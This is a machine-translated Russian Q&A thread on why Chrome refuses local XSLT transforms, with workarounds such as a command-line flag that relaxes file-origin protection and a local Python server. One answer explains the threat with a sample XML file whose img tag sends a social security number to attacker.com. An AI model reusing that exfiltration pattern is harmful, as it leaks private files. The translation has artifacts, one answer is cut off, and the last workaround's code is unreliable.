Можно ли сделать Chrome для выполнения преобразования XSL в локальном файле?

Я изучал xslt и начал тестирование с примерами в w3schools.

Однако, когда я сохраняю файлы xml и xsl в файлах и пытаюсь их открыть локально, хром не будет выполнять преобразование xsl. Он просто показывает пустую страницу.

Я добавил тэг <?xml-stylesheet type="text/xsl" href="style.xsl"> в XML-документ, и firefox отображает его, как он должен выглядеть. Кроме того, если я просматриваю файлы через веб-сервер, хром отображает файл, как он должен выглядеть.

Неужели хром сталкивается с проблемой поиска информации о таблицах стилей, когда ссылка является локальной? Изменение href на file:///C:/xsl/style.xsl не имело никакого значения.

Обновление: похоже, это побочный эффект политики безопасности чтобы не обрабатывать файл:///* как то же происхождение. В результате появляется следующая ошибка: в консоли:

Небезопасная попытка загрузить файл URL:///C:/xsl-rpg/style.xsl из фрейма с URL файлом:///C:/xsl-rpg/data.xml. Домены, протоколы и порты должны совпадать.

Ответ 1

Короткий ответ: "Нет, используйте один из разнообразный набор браузеров там.

Причина, по которой это не работает, вызвано опасностью безопасности, с которой Chrome обратился спорным способом [1] [2] [3] [4] блокируя файлы XML от доступа к локальным файлам XSLT в том же каталоге, в то время как файлы HTML могут обращаться к файлам .CSS в том же каталоге. /p >

В приведенных выше проблемах пользователи попросили дать более четкое сообщение об ошибке (поскольку домены, протоколы и порты действительно совпадают) или, по крайней мере, отображают XML без стилизации. Разработчики Chrome проигнорировали эти запросы.

Ответ 2

Вы можете сделать это локально с помощью флагов командной строки Chrome.

Конкретный флаг --allow-file-access-from-files

В OS X: из Terminal.app запустить /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

В Windows: из командной строки запустите %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Примечание. Вероятно, вам придется закрыть Chrome, если он в настоящее время работает, иначе Ch

Ответ 3

Если вы хотите придерживаться OP, ответ будет No (как указывали другие), но один из способов устранить проблему - запустить простой веб-сервер и открыть файлы через http в chrome. Если у вас установлен python 2.x, вы можете запустить веб-сервер, набрав:

python -m SimpleHTTPServer

Или в python 3.x:

python3 -m http.server

а затем откройте файл с помощью http://localhost:8000/yourfile.xml в chrome. Надеюсь, вы просто хотите, чтобы ваша работа была выполнена, и не важно, чтобы открыть файл, используя file://

Ответ 4

На странице Chrome Bug потребовалось немного расшифровки - они очень заинтересованы в том, чтобы не объяснять, в чем проблема, и почему они выбрали взломать всех, а не нарушать всех.

Предположим, что у меня есть файл XML - где-то - на моем жестком диске, например:

C:\Users\Ian\Documents\Налоги\StudioTaxReturn_2015.xml

И вредоносному объекту - каким-то образом - удалось удалить вредоносный файл Xml на моем компьютере, например:

C:\Users\Ян\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Представьте TrojanVirusWorm.xml содержит инструкцию по обработке таблиц стилей (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Затем злоумышленник инструктирует мой браузер перейти к локально сохраненному файлу trojanVirusWorm.xml.

По-видимому, существует способ, которым XML файл может считывать содержимое файла XSD (а не преобразовываться с помощью файла XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Я не понимаю, как XML файл может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасно и что ее невозможно решить.

Каждый другой браузер решил это сделать. Они решили это потому что это не проблема.

Ответ 5

Мое обходное решение для просмотра xml в соответствии с файлом xsl

Предположим, у нас есть файл some_file.xml с заголовками:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="#" onclick="location.href='https://some-site.com/Common.xsl'; return false;"?>
  1. Мы загружаем файл https://some-site.com/Common.xsl и размещаем его рядом с файлом some_file.xml
  2. Измените часть нашего заголовка с href="#" onclick="location.href='https://some-site.com/Common.xsl'; return false;" на href="#" onclick="location.href='http://localhost:8001/Common.xsl'; return false;"
  3. Запуск в каталог с нашими файлами - python3 -m http.server 8001
  4. Открыть в любом браузере http://localhost:8001/some_file.xml